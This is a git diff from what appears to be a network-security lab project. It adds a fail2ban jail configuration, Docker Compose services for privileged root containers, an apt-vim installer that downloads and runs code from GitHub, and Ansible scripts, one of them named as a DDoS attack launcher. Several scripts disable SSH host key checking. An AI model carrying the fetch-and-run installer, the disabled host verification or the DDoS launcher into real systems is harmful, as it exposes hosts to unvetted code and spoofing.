+findtime  = 30
+# To use more aggressive sshd modes set filter parameter "mode" in jail.local:
+# normal (default), ddos, extra or aggressive (combines all).
+# See "tests/files/logs/sshd" or "filter.d/sshd.conf" for usage example and details.
+#mode    = normal 
+chain= INPUT
+port    = 22 
+logpath = %(sshd_log)s
+backend = %(sshd_backend)s
+action_ = iptables-multiport[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] 
+
+
+
+[dropbear]
+
+port     = ssh
+logpath  = %(dropbear_log)s
+backend  = %(dropbear_backend)s
+
+
+[selinux-ssh]
+
+port     = ssh
+logpath  = %(auditd_log)s
+enabled  = true
+
+#
+# HTTP servers
+#
+
+[apache-auth]
+
+port     = http,https
+logpath  = %(apache_error_log)s
+
+
+[apache-badbots]
+# Ban hosts which agent identifies spammer robots crawling the web
+# for email addresses. The mail outputs are buffered.
+port     = http,https
+logpath  = %(apache_access_log)s
+bantime  = 48h
+maxretry = 1
+
+
+[apache-noscript]
+
+port     = http,https
+logpath  = %(apache_error_log)s
+
+
+[apache-overflows]
+
+port     = http,https
+logpath  = %(apache_error_log)s
+maxretry = 2
+
+
+[apache-nohome]
+
+port     = http,https
+logpath  = %(apache_error_log)s
+maxretry = 2
+
+
+[apache-botsearch]
+
+port     = http,https
+logpath  = %(apache_error_log)s
+maxretry = 2
+
+
+[apache-fakegooglebot]
+
+port     = http,https
+logpath  = %(apache_access_log)s
+maxretry = 1
+ignorecommand = %(ignorecommands_dir)s/apache-fakegooglebot <ip>
+
+
+[apache-modsecurity]
+
+port     = http,https
+logpath  = %(apache_error_log)s
+maxretry = 2
+
+
+[apache-shellshock]
+
+port    = http,https
+logpath = %(apache_error_log)s
+maxretry = 1
+
+
+[openhab-auth]
+
+filter = openhab
+action = iptables-allports[name=NoAuthFailures]
+logpath = /opt/openhab/logs/request.log
+
+
+[nginx-http-auth]
+
+port    = http,https
+logpath = %(nginx_error_log)s
+
+# To use 'nginx-limit-req' jail you should have `ngx_http_limit_req_module` 
+# and define `limit_req` and `limit_req_zone` as described in nginx documentation
+# http://nginx.org/en/docs/http/ngx_http_limit_req_module.html
+# or for example see in 'config/filter.d/nginx-limit-req.conf'
+[nginx-limit-req]
+port    = http,https
+logpath = %(nginx_error_log)s
+
+[nginx-botsearch]
+
+port     = http,https
+logpath  = %(nginx_error_log)s
+maxretry = 2
+
+
+# Ban attackers that try to use PHP's URL-fopen() functionality
+# through GET/POST variables. - Experimental, with more than a year
+# of usage in production environments.
+
+[php-url-fopen]
+
+port    = http,https
+logpath = %(nginx_access_log)s
+          %(apache_access_log)s
+
+
+[suhosin]
+
+port    = http,https
+logpath = %(suhosin_log)s
+
+
+[lighttpd-auth]
+# Same as above for Apache's mod_auth
+# It catches wrong authentifications
+port    = http,https
+logpath = %(lighttpd_error_log)s
+
+
+#
+# Webmail and groupware servers
+#
+
+[roundcube-auth]
+
+port     = http,https
+logpath  = %(roundcube_errors_log)s
+# Use following line in your jail.local if roundcube logs to journal.
+#backend = %(syslog_backend)s
+
+
+[openwebmail]
+
+port     = http,https
+logpath  = /var/log/openwebmail.log
+
+
+[horde]
+
+port     = http,https
+logpath  = /var/log/horde/horde.log
+
+
+[groupoffice]
+
+port     = http,https
+logpath  = /home/groupoffice/log/info.log
+
+
+[sogo-auth]
+# Monitor SOGo groupware server
+# without proxy this would be:
+# port    = 20000
+port     = http,https
+logpath  = /var/log/sogo/sogo.log
+
+
+[tine20]
+
+logpath  = /var/log/tine20/tine20.log
+port     = http,https
+
+
+#
+# Web Applications
+#
+#
+
+[drupal-auth]
+
+port     = http,https
+logpath  = %(syslog_daemon)s
+backend  = %(syslog_backend)s
+
+[guacamole]
+
+port     = http,https
+logpath  = /var/log/tomcat*/catalina.out
+
+[monit]
+#Ban clients brute-forcing the monit gui login
+port = 2812
+logpath  = /var/log/monit
+
+
+[webmin-auth]
+
+port    = 10000
+logpath = %(syslog_authpriv)s
+backend = %(syslog_backend)s
+
+
+[froxlor-auth]
+
+port    = http,https
+logpath  = %(syslog_authpriv)s
+backend  = %(syslog_backend)s
+
+
+#
+# HTTP Proxy servers
+#
+#
+
+[squid]
+
+port     =  80,443,3128,8080
+logpath = /var/log/squid/access.log
+
+
+[3proxy]
+
+port    = 3128
+logpath = /var/log/3proxy.log
+
+
+#
+# FTP servers
+#
+
+
+[proftpd]
+
+port     = ftp,ftp-data,ftps,ftps-data
+logpath  = %(proftpd_log)s
+backend  = %(proftpd_backend)s
+
+
+[pure-ftpd]
+
+port     = ftp,ftp-data,ftps,ftps-data
+logpath  = %(pureftpd_log)s
+backend  = %(pureftpd_backend)s
+
+
+[gssftpd]
+
+port     = ftp,ftp-data,ftps,ftps-data
+logpath  = %(syslog_daemon)s
+backend  = %(syslog_backend)s
+
+
+[wuftpd]
+
+port     = ftp,ftp-data,ftps,ftps-data
+logpath  = %(wuftpd_log)s
+backend  = %(wuftpd_backend)s
+
+
+[vsftpd]
+# or overwrite it in jails.local to be
+# logpath = %(syslog_authpriv)s
+# if you want to rely on PAM failed login attempts
+# vsftpd's failregex should match both of those formats
+port     = ftp,ftp-data,ftps,ftps-data
+logpath  = %(vsftpd_log)s
+
+
+#
+# Mail servers
+#
+
+# ASSP SMTP Proxy Jail
+[assp]
+
+port     = smtp,465,submission
+logpath  = /root/path/to/assp/logs/maillog.txt
+
+
+[courier-smtp]
+
+port     = smtp,465,submission
+logpath  = %(syslog_mail)s
+backend  = %(syslog_backend)s
+
+
+[postfix]
+# To use another modes set filter parameter "mode" in jail.local:
+mode    = more
+port    = smtp,465,submission
+logpath = %(postfix_log)s
+backend = %(postfix_backend)s
+
+
+[postfix-rbl]
+
+filter   = postfix[mode=rbl]
+port     = smtp,465,submission
+logpath  = %(postfix_log)s
+backend  = %(postfix_backend)s
+maxretry = 1
+
+
+[sendmail-auth]
+
+port    = submission,465,smtp
+logpath = %(syslog_mail)s
+backend = %(syslog_backend)s
+
+
+[sendmail-reject]
+# To use more aggressive modes set filter parameter "mode" in jail.local:
+# normal (default), extra or aggressive
+# See "tests/files/logs/sendmail-reject" or "filter.d/sendmail-reject.conf" for usage example and details.
+#mode    = normal
+port     = smtp,465,submission
+logpath  = %(syslog_mail)s
+backend  = %(syslog_backend)s
+
+
+[qmail-rbl]
+
+filter  = qmail
+port    = smtp,465,submission
+logpath = /service/qmail/log/main/current
+
+
+# dovecot defaults to logging to the mail syslog facility
+# but can be set by syslog_facility in the dovecot configuration.
+[dovecot]
+
+port    = pop3,pop3s,imap,imaps,submission,465,sieve
+logpath = %(dovecot_log)s
+backend = %(dovecot_backend)s
+
+
+[sieve]
+
+port   = smtp,465,submission
+logpath = %(dovecot_log)s
+backend = %(dovecot_backend)s
+
+
+[solid-pop3d]
+
+port    = pop3,pop3s
+logpath = %(solidpop3d_log)s
+
+
+[exim]
+# see filter.d/exim.conf for further modes supported from filter:
+#mode = normal
+port   = smtp,465,submission
+logpath = %(exim_main_log)s
+
+
+[exim-spam]
+
+port   = smtp,465,submission
+logpath = %(exim_main_log)s
+
+
+[kerio]
+
+port    = imap,smtp,imaps,465
+logpath = /opt/kerio/mailserver/store/logs/security.log
+
+
+#
+# Mail servers authenticators: might be used for smtp,ftp,imap servers, so
+# all relevant ports get banned
+#
+
+[courier-auth]
+
+port     = smtp,465,submission,imap,imaps,pop3,pop3s
+logpath  = %(syslog_mail)s
+backend  = %(syslog_backend)s
+
+
+[postfix-sasl]
+
+filter   = postfix[mode=auth]
+port     = smtp,465,submission,imap,imaps,pop3,pop3s
+# You might consider monitoring /var/log/mail.warn instead if you are
+# running postfix since it would provide the same log lines at the
+# "warn" level but overall at the smaller filesize.
+logpath  = %(postfix_log)s
+backend  = %(postfix_backend)s
+
+
+[perdition]
+
+port   = imap,imaps,pop3,pop3s
+logpath = %(syslog_mail)s
+backend = %(syslog_backend)s
+
+
+[squirrelmail]
+
+port = smtp,465,submission,imap,imap2,imaps,pop3,pop3s,http,https,socks
+logpath = /var/lib/squirrelmail/prefs/squirrelmail_access_log
+
+
+[cyrus-imap]
+
+port   = imap,imaps
+logpath = %(syslog_mail)s
+backend = %(syslog_backend)s
+
+
+[uwimap-auth]
+
+port   = imap,imaps
+logpath = %(syslog_mail)s
+backend = %(syslog_backend)s
+
+
+#
+#
+# DNS servers
+#
+
+
+# !!! WARNING !!!
+#   Since UDP is connection-less protocol, spoofing of IP and imitation
+#   of illegal actions is way too simple.  Thus enabling of this filter
+#   might provide an easy way for implementing a DoS against a chosen
+#   victim. See
+#    http://nion.modprobe.de/blog/archives/690-fail2ban-+-dns-fail.html
+#   Please DO NOT USE this jail unless you know what you are doing.
+#
+# IMPORTANT: see filter.d/named-refused for instructions to enable logging
+# This jail blocks UDP traffic for DNS requests.
+# [named-refused-udp]
+#
+# filter   = named-refused
+# port     = domain,953
+# protocol = udp
+# logpath  = /var/log/named/security.log
+
+# IMPORTANT: see filter.d/named-refused for instructions to enable logging
+# This jail blocks TCP traffic for DNS requests.
+
+[named-refused]
+
+port     = domain,953
+logpath  = /var/log/named/security.log
+
+
+[nsd]
+
+port     = 53
+action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+           %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+logpath = /var/log/nsd.log
+
+
+#
+# Miscellaneous
+#
+
+[asterisk]
+
+port     = 5060,5061
+action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+           %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+           %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"]
+logpath  = /var/log/asterisk/messages
+maxretry = 10
+
+
+[freeswitch]
+
+port     = 5060,5061
+action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+           %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+           %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"]
+logpath  = /var/log/freeswitch.log
+maxretry = 10
+
+
+# To log wrong MySQL access attempts add to /etc/my.cnf in [mysqld] or
+# equivalent section:
+# log-warning = 2
+#
+# for syslog (daemon facility)
+# [mysqld_safe]
+# syslog
+#
+# for own logfile
+# [mysqld]
+# log-error=/var/log/mysqld.log
+[mysqld-auth]
+
+port     = 3306
+logpath  = %(mysql_log)s
+backend  = %(mysql_backend)s
+
+
+# Log wrong MongoDB auth (for details see filter 'filter.d/mongodb-auth.conf')
+[mongodb-auth]
+# change port when running with "--shardsvr" or "--configsvr" runtime operation
+port     = 27017
+logpath  = /var/log/mongodb/mongodb.log
+
+
+# Jail for more extended banning of persistent abusers
+# !!! WARNINGS !!!
+# 1. Make sure that your loglevel specified in fail2ban.conf/.local
+#    is not at DEBUG level -- which might then cause fail2ban to fall into
+#    an infinite loop constantly feeding itself with non-informative lines
+# 2. Increase dbpurgeage defined in fail2ban.conf to e.g. 648000 (7.5 days)
+#    to maintain entries for failed logins for sufficient amount of time
+[recidive]
+
+logpath  = /var/log/fail2ban.log
+banaction = %(banaction_allports)s
+bantime  = 1w
+findtime = 1d
+
+
+# Generic filter for PAM. Has to be used with action which bans all
+# ports such as iptables-allports, shorewall
+
+[pam-generic]
+# pam-generic filter can be customized to monitor specific subset of 'tty's
+banaction = %(banaction_allports)s
+logpath  = %(syslog_authpriv)s
+backend  = %(syslog_backend)s
+
+
+[xinetd-fail]
+
+banaction = iptables-multiport-log
+logpath   = %(syslog_daemon)s
+backend   = %(syslog_backend)s
+maxretry  = 2
+
+
+# stunnel - need to set port for this
+[stunnel]
+
+logpath = /var/log/stunnel4/stunnel.log
+
+
+[ejabberd-auth]
+
+port    = 5222
+logpath = /var/log/ejabberd/ejabberd.log
+
+
+[counter-strike]
+
+logpath = /opt/cstrike/logs/L[0-9]*.log
+# Firewall: http://www.cstrike-planet.com/faq/6
+tcpport = 27030,27031,27032,27033,27034,27035,27036,27037,27038,27039
+udpport = 1200,27000,27001,27002,27003,27004,27005,27006,27007,27008,27009,27010,27011,27012,27013,27014,27015
+action  = %(banaction)s[name=%(__name__)s-tcp, port="%(tcpport)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+           %(banaction)s[name=%(__name__)s-udp, port="%(udpport)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+
+# consider low maxretry and a long bantime
+# nobody except your own Nagios server should ever probe nrpe
+[nagios]
+
+logpath  = %(syslog_daemon)s     ; nrpe.cfg may define a different log_facility
+backend  = %(syslog_backend)s
+maxretry = 1
+
+
+[oracleims]
+# see "oracleims" filter file for configuration requirement for Oracle IMS v6 and above
+logpath = /opt/sun/comms/messaging64/log/mail.log_current
+banaction = %(banaction_allports)s
+
+[directadmin]
+logpath = /var/log/directadmin/login.log
+port = 2222
+
+[portsentry]
+logpath  = /var/lib/portsentry/portsentry.history
+maxretry = 1
+
+[pass2allow-ftp]
+# this pass2allow example allows FTP traffic after successful HTTP authentication
+port         = ftp,ftp-data,ftps,ftps-data
+# knocking_url variable must be overridden to some secret value in jail.local
+knocking_url = /knocking/
+filter       = apache-pass[knocking_url="%(knocking_url)s"]
+# access log of the website with HTTP auth
+logpath      = %(apache_access_log)s
+blocktype    = RETURN
+returntype   = DROP
+action       = %(action_)s[blocktype=%(blocktype)s, returntype=%(returntype)s]
+bantime      = 1h
+maxretry     = 1
+findtime     = 1
+
+
+[murmur]
+# AKA mumble-server
+port     = 64738
+action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol=tcp, chain="%(chain)s", actname=%(banaction)s-tcp]
+           %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol=udp, chain="%(chain)s", actname=%(banaction)s-udp]
+logpath  = /var/log/mumble-server/mumble-server.log
+
+
+[screensharingd]
+# For Mac OS Screen Sharing Service (VNC)
+logpath  = /var/log/system.log
+logencoding = utf-8
+
+[haproxy-http-auth]
+# HAProxy by default doesn't log to file you'll need to set it up to forward
+# logs to a syslog server which would then write them to disk.
+# See "haproxy-http-auth" filter for a brief cautionary note when setting
+# maxretry and findtime.
+logpath  = /var/log/haproxy.log
+
+[slapd]
+port    = ldap,ldaps
+logpath = /var/log/slapd.log
+
+[domino-smtp]
+port    = smtp,ssmtp
+logpath = /home/domino01/data/IBM_TECHNICAL_SUPPORT/console.log
+
+[phpmyadmin-syslog]
+port    = http,https
+logpath = %(syslog_authpriv)s
+backend = %(syslog_backend)s
+
+
+[zoneminder]
+# Zoneminder HTTP/HTTPS web interface auth
+# Logs auth failures to apache2 error log
+port    = http,https
+logpath = %(apache_error_log)s
+
--- a/docker-compose.yml
+++ b/docker-compose.yml
@ -0,0 +1,37 @@
+version: "2"
+
+services:
+  registry:
+    image: registry
+    ports:
+      - "5000:5000"
+
+  master:
+    image: localhost:5000/sec
+    privileged: true
+    cap_add:
+      - NET_ADMIN
+    user: root
+    entrypoint: ["sec_bootstrap", "role=master", "sec_master_service_name=master", "sec_worker_service_name=worker"]
+    ports:
+      - "2222:22"
+    networks:
+      - net
+    volumes:
+      - /home/zoiros13/swarmlab-sec/test/project:/project
+
+
+  worker:
+    image: localhost:5000/sec
+    privileged: true
+    cap_add:
+      - NET_ADMIN
+    user: root
+    entrypoint: ["sec_bootstrap", "role=worker", "sec_master_service_name=master", "sec_worker_service_name=worker"]
+    networks:
+      - net
+    volumes:
+      - /home/zoiros13/swarmlab-sec/test/project:/project
+
+networks:
+  net:
--- a/8
+++ b/8
@ -0,0 +1,8 @@
+#!/bin/sh
+
+# Include the variables that store the Docker service names
+# shellcheck disable=SC1091
+. /etc/opt/service_names
+
+( netstat -t | grep ESTABLISHED | awk '{print $5}' | grep "$MPI_WORKER_SERVICE_NAME" | cut -d: -f1  \
+& getent hosts "$MPI_MASTER_SERVICE_NAME" | cut -d' ' -f1 ) | sort -u
--- a/install-vim-plugin.sh
+++ b/install-vim-plugin.sh
@ -0,0 +1,74 @@
+#! /usr/bin/env sh
+
+start_dir=$(pwd)
+bin_string="export PATH=\"${PATH}:${HOME}/.vimpkg/bin\""
+
+# Download the apt-vim files
+curl -fSsLo ${HOME}/apt-vim/apt-vim --create-dirs \
+    https://raw.githubusercontent.com/egalpin/apt-vim/master/apt-vim
+
+curl -fSsLo ${HOME}/apt-vim/vim_config.json \
+    https://raw.githubusercontent.com/egalpin/apt-vim/master/vim_config.json
+
+# Add vimrc if there isn't one already
+[ -f ${HOME}/.vimrc ] || touch ${HOME}/.vimrc
+
+# Make sure vimrc is using pathogen
+if [ $(grep -c "execute pathogen#infect()" ${HOME}/.vimrc) -eq 0 ]; then
+    echo "execute pathogen#infect()" >> ${HOME}/.vimrc
+fi
+if [ $(grep -c "call pathogen#helptags()" ${HOME}/.vimrc) -eq 0 ]; then
+    echo "call pathogen#helptags()" >> ${HOME}/.vimrc
+fi
+
+# Update path for executing shell
+eval "$bin_string"
+
+added_to_profile=false
+already_present=false
+for rc in bashrc zshrc bash_profile; do
+  if [ -s "$HOME/.$rc" ]; then
+    if grep -q "$bin_string" "$HOME/.$rc"; then
+      already_present=true
+    else
+      printf "\n$bin_string\n" >> "$HOME/.$rc"
+      printf "== Added apt-vim PATH to '~/.$rc'\n"
+      added_to_profile=true
+    fi
+  fi
+done
+
+# Execute apt-vim init
+cd ${HOME}/apt-vim
+python - <<EOF
+import imp, os
+print('apt-vim setup starting')
+HOME = os.path.expanduser("~")
+APT_VIM_DIR = os.path.abspath(os.path.join(HOME, 'apt-vim'))
+SCRIPT_ROOT_DIR = os.path.abspath(os.path.join(HOME, '.vimpkg'))
+BIN_DIR = os.path.abspath(os.path.join(SCRIPT_ROOT_DIR, 'bin'))
+os.environ['PATH'] += os.pathsep + BIN_DIR
+os.chdir(APT_VIM_DIR)
+
+aptvim = imp.load_source("aptvim", "./apt-vim")
+av = aptvim.aptvim(ASSUME_YES=True, VIM_CONFIG='', INSTALL_TARGET='')
+av.first_run()
+av.handle_install(None, None, None)
+EOF
+python_result=$?
+
+cd $start_dir
+
+echo
+if [ "$python_result" -ne 0 ]; then
+    echo "== Error:"
+    echo "   Installation failed."
+elif [ "$added_to_profile" = false ] && [ "$already_present" = false ]; then
+    echo "== Error:"
+    echo "   Found no profile to add apt-vim PATH to."
+    echo "   Add the following line to your shell profile and source it to install manually:"
+    printf "   $bin_string\n"
+else
+    echo "== apt-vim installation succeeded! Run 'source ~/.bashrc || source ~/.bash_profile' or 'source ~/.zshrc'"
+    echo "   to access the executable script."
+fi
--- a/out.log
+++ b/out.log
@ -0,0 +1,108 @@
+[
+    {
+        "Id": "sha256:0041eaed21a5682cff858aee77ed2ea8c36c35cce0379f98e6a00d0ffef32a7f",
+        "RepoTags": [
+            "localhost:5000/sec:latest"
+        ],
+        "RepoDigests": [
+            "localhost:5000/sec@sha256:f13d2efea610e1b5e8a4c7340be199975f7d0dc76a232806e908bb2d7851b536"
+        ],
+        "Parent": "sha256:3c45feb440ff524a3e4f2265d5024e6b9050bea85e9ab2121abdbb06ee174799",
+        "Comment": "",
+        "Created": "2021-01-20T20:32:11.522588405Z",
+        "Container": "ec9a751f11f0c2b16c6c6f2640b1c6bdc9f60731dd9b2a0dc535330513882733",
+        "ContainerConfig": {
+            "Hostname": "ec9a751f11f0",
+            "Domainname": "",
+            "User": "docker",
+            "AttachStdin": false,
+            "AttachStdout": false,
+            "AttachStderr": false,
+            "Tty": false,
+            "OpenStdin": false,
+            "StdinOnce": false,
+            "Env": [
+                "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
+                "NOTVISIBLE=in users profile"
+            ],
+            "Cmd": [
+                "/bin/sh",
+                "-c",
+                "#(nop) ",
+                "USER docker"
+            ],
+            "Image": "sha256:3c45feb440ff524a3e4f2265d5024e6b9050bea85e9ab2121abdbb06ee174799",
+            "Volumes": null,
+            "WorkingDir": "/project",
+            "Entrypoint": null,
+            "OnBuild": null,
+            "Labels": {}
+        },
+        "DockerVersion": "20.10.2",
+        "Author": "",
+        "Config": {
+            "Hostname": "",
+            "Domainname": "",
+            "User": "docker",
+            "AttachStdin": false,
+            "AttachStdout": false,
+            "AttachStderr": false,
+            "Tty": false,
+            "OpenStdin": false,
+            "StdinOnce": false,
+            "Env": [
+                "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
+                "NOTVISIBLE=in users profile"
+            ],
+            "Cmd": [
+                "/bin/bash"
+            ],
+            "Image": "sha256:3c45feb440ff524a3e4f2265d5024e6b9050bea85e9ab2121abdbb06ee174799",
+            "Volumes": null,
+            "WorkingDir": "/project",
+            "Entrypoint": null,
+            "OnBuild": null,
+            "Labels": null
+        },
+        "Architecture": "amd64",
+        "Os": "linux",
+        "Size": 305502675,
+        "VirtualSize": 305502675,
+        "GraphDriver": {
+            "Data": {
+                "LowerDir": "/var/lib/docker/overlay2/4f892c1ac39fc2cb2c12671d034ef86c890fb69a25f93111e51cfec60a896bc1/diff:/var/lib/docker/overlay2/0222bce3cfcd94fb28b763949c93d014ef8cb2ce7563059b2a20185028b6c4f3/diff:/var/lib/docker/overlay2/4061c57597e713442d54694880a0db84f21b84dc27a83cf14b1a2ea8f80adb57/diff:/var/lib/docker/overlay2/ad0740f4bddaa797f65b9b610bb997383e100f6b11b6e31abfe97a56d73e02a6/diff:/var/lib/docker/overlay2/9f718fd300ccb6ccb4c4993d1e2c08479975a2680f73137c4c2a00675e34dad8/diff:/var/lib/docker/overlay2/36e34aaf6d9ff64abd4c0ae243a7171a6f36f98ec1d8015fd2e52121c61c9388/diff:/var/lib/docker/overlay2/e453e8ba3d5a70996395e475debf7e263dec58550b0f1ab08040f7cffe38a8ed/diff:/var/lib/docker/overlay2/09cbcb578a8d6eb1608796982a8de961456201784d1c4ed1a883c391793da8c4/diff:/var/lib/docker/overlay2/f1ac5b915d3a2ff4c84e6f2fe508ce65dc00b17857abaca3191d98f61b985d76/diff:/var/lib/docker/overlay2/314db0ab7f769d13ef33021169644fd1775852bf27998457ea00256c75adac79/diff:/var/lib/docker/overlay2/7a9f4160461f58a5e631eb9a1f37bf2e2e4077dd18ece01edda94aefec7d513f/diff:/var/lib/docker/overlay2/c2ba9675d35ea38b3e2030a6328afc1375813586d15456e48700224a197af10e/diff:/var/lib/docker/overlay2/6041b67add52b7f6a9f85856676306c785620be38024f5b526aa2e57c5bb94cb/diff:/var/lib/docker/overlay2/30ead6ae4469b85cb7c638e7ac62e00d67cbe93dfd997224403bcba8d69b7ba6/diff:/var/lib/docker/overlay2/d471ee8da4cfca625a09d36962bf37a3817ef988a3120207170381a3cc2f49ff/diff:/var/lib/docker/overlay2/943b7349849e2f834a9d5ad37740f06517a252b3e6268a0763fc1ee15bf4ba17/diff:/var/lib/docker/overlay2/4bca1529a9b65355dc3508268159aee6e2416896cb335bec235d8c8699984d3e/diff:/var/lib/docker/overlay2/d18ba52d5410e31e13be1d13fa2f879c383fd4605b74b9e7579321d724de2704/diff",
+                "MergedDir": "/var/lib/docker/overlay2/17569aed539925cda12d1788c2d33a78d657f25922e48c0e4dc1005a83a13d0a/merged",
+                "UpperDir": "/var/lib/docker/overlay2/17569aed539925cda12d1788c2d33a78d657f25922e48c0e4dc1005a83a13d0a/diff",
+                "WorkDir": "/var/lib/docker/overlay2/17569aed539925cda12d1788c2d33a78d657f25922e48c0e4dc1005a83a13d0a/work"
+            },
+            "Name": "overlay2"
+        },
+        "RootFS": {
+            "Type": "layers",
+            "Layers": [
+                "sha256:b43408d5f11b7b2faf048ae4eb25c296536c571fb2f937b4f1c3883386e93d64",
+                "sha256:23135df75b44a66efa9d8dc1a10051768c27bd95388f436eb9553e0eb17211f6",
+                "sha256:fe6d8881187d429af3f636c574911690455825998c9f366e985eab646665e711",
+                "sha256:995775ccb2c94c617a372f5a07fe9e85ce422976342a63faf5f81d4e554d33e8",
+                "sha256:513860d9d8b4c2b418330f754ee9f2a4ae7d0a08f8cc7e09a59e2d8a1f76082d",
+                "sha256:05d45691094f911e1b03b522b2413f697990fca5d00d2a36681f8252bac30f70",
+                "sha256:00e25a02cb66855e8c694a62b7a484ff94c6a7a22ff3b7ad77e46465f772ddda",
+                "sha256:a7a46ea008ba01f492e17cea196b012005cea47943121f07a7ca93e93fbfbfad",
+                "sha256:170701127bf7609d55d9839ddcfa21759e2b8ccf6c0a6881992314eb15833969",
+                "sha256:6ffbdb2e142b68e05e145a71776d68d04b4829c8c6ce1601d27f3ff4be775474",
+                "sha256:b1f3cd54cc350f0710b04c61fa57a0c4906f3671940021313e6e6064c4072247",
+                "sha256:13318292ad09178d2082cf8d21a96b412f374964202a340c701db1c1c4064263",
+                "sha256:e9c7b4c198ead49bd465541674eea08c223b465e3ba2d113bff3450cf59943a2",
+                "sha256:841f3d71c84f6ec64a8af1d647782a73be2320e79386890e7c9c243aa98d41ba",
+                "sha256:f9c45f1c0ac098e81dfa7aaaa24ddf5667d0141f6f4150af47e607483fbdd0de",
+                "sha256:f14dbf3fe313e8c4899fb1a9da6d40befca490aacd3dd61a1a9da519aec27cb6",
+                "sha256:f9a062359efaf04a7b4f8204fe3a640197c8cb0049584f463a0d78c95dfd6fc3",
+                "sha256:38af96194c0c78613d6406f1ac89611fca867e8318919469d1e4ef831eb7107c",
+                "sha256:1dca0d6457411690de65496d90b642cb2ad6eaea65a26c7c9c87f59dea1c14f4"
+            ]
+        },
+        "Metadata": {
+            "LastTagTime": "2021-01-20T22:32:11.567491531+02:00"
+        }
+    }
+]
--- a/5275
+++ b/5275
--- a/project/ansible_cfg_text
+++ b/project/ansible_cfg_text
@ -0,0 +1,35 @@
+# config file for ansible -- https://ansible.com/
+# ===============================================
+
+# nearly all parameters can be overridden in ansible-playbook
+# or with command line flags. ansible will read ANSIBLE_CONFIG,
+# ansible.cfg in the current working directory, .ansible.cfg in
+# the home directory or /etc/ansible/ansible.cfg, whichever it
+# finds first
+
+[defaults]
+host_key_checking = False
+
+# some basic default values...
+
+#inventory      = /etc/ansible/hosts
+#library        = /usr/share/my_modules/
+#module_utils   = /usr/share/my_module_utils/
+#remote_tmp     = ~/.ansible/tmp
+#local_tmp      = ~/.ansible/tmp
+#plugin_filters_cfg = /etc/ansible/plugin_filters.yml
+#forks          = 5
+#poll_interval  = 15
+#sudo_user      = root
+#ask_sudo_pass = True
+#ask_pass      = True
+#transport      = smart
+#remote_port    = 22
+#module_lang    = C
+#module_set_locale = False
+
+# plays will gather facts by default, which contain information about
+# the remote system.
+#
+# smart - gather by default, but don't regather if already gathered
+
--- a/project/ansible_fail2ban.sh
+++ b/project/ansible_fail2ban.sh
@ -0,0 +1,2 @@
+ansible-playbook -u docker -i inventory.yml test_fail2ban.yml  -f 5 --ask-pass --ask-become-pass
+
--- a/project/ansible_iptables.sh
+++ b/project/ansible_iptables.sh
@ -0,0 +1,2 @@
+ansible-playbook -u docker -i inventory.yml test_iptables_rules.yml  -f 5 --ask-pass --ask-become-pass
+
--- a/project/ddos_atck_script.sh
+++ b/project/ddos_atck_script.sh
@ -0,0 +1,2 @@
+ansible-playbook -u docker -i inventory_w.yml test3.yml  -f 4 --ask-pass --ask-become-pass
+
--- a/project/fail2ban_script.sh
+++ b/project/fail2ban_script.sh
@ -0,0 +1,28 @@
+#!/bin/sh
+
+
+sudo apt-get update -y  # To get the latest package lists
+sudo apt install rsyslog -y                        #instal auth.log
+sudo service rsyslog start                     #start syslog
+#grep "Failed password" /var/log/auth.log        #check for login failures
+#grep "Failed password" /var/log/auth.log | awk ‘{print $11}’ | uniq -c | sort
+sudo cat /var/log/auth.log | grep "Failed password"
+#sudo apt install fail2ban -y
+sudo service fail2ban enable
+sudo service fail2ban start
+sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
+sudo sed -i '244d' /etc/fail2ban/jail.local
+sudo sed -i '239 a  enabled  = true' /etc/fail2ban/jail.local
+sudo sed -i '240 a maxretry = 3' /etc/fail2ban/jail.local
+sudo sed -i '241 a bantime  = 300' /etc/fail2ban/jail.local
+sudo sed -i '242 a findtime = 30' /etc/fail2ban/jail.local
+sudo sed -i '243 a chain    = INPUT' /etc/fail2ban/jail.local
+sudo sed -i '244 a port     = 22' /etc/fail2ban/jail.local
+sudo sed -i '245 a action_ = iptables-multiport[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]' /etc/fail2ban/jail.local
+sudo service fail2ban restart
+sudo fail2ban-client status sshd
+sudo iptables -L
+
+#end
+
+
--- a/project/first_script.sh
+++ b/project/first_script.sh
@ -0,0 +1,19 @@
+#!/bin/sh
+
+#nmap -n -sn 172.25.0.* -oG - | awk '/Up$/{print $2}'
+
+sudo apt-get update -y  # To get the latest package lists
+sudo apt install ansible -y
+sudo apt install sshpass -y
+sudo sed -i "11i host_key_checking = False" /etc/ansible/ansible.cfg
+ansible-playbook -u docker -i inventory.yml test.yml  -f 5 --ask-pass --ask-become-pass
+#sudo tcpdump -i eth0
+#now interrupt the process.  get its PID:
+#pid=$(ps -e | pgrep tcpdump)
+#echo $pid
+#
+#interrupt it:
+#sleep 5
+#kill -2 $pid
+
+
--- a/project/hello_world.sh
+++ b/project/hello_world.sh
@ -0,0 +1 @@
+echo "Hello World"
--- a/project/inventory.yml
+++ b/project/inventory.yml
@ -0,0 +1,6 @@
+[service]
+172.21.0.2
+172.21.0.3
+172.21.0.4
+172.21.0.5
+172.21.0.6
--- a/project/inventory_vpn.yml
+++ b/project/inventory_vpn.yml
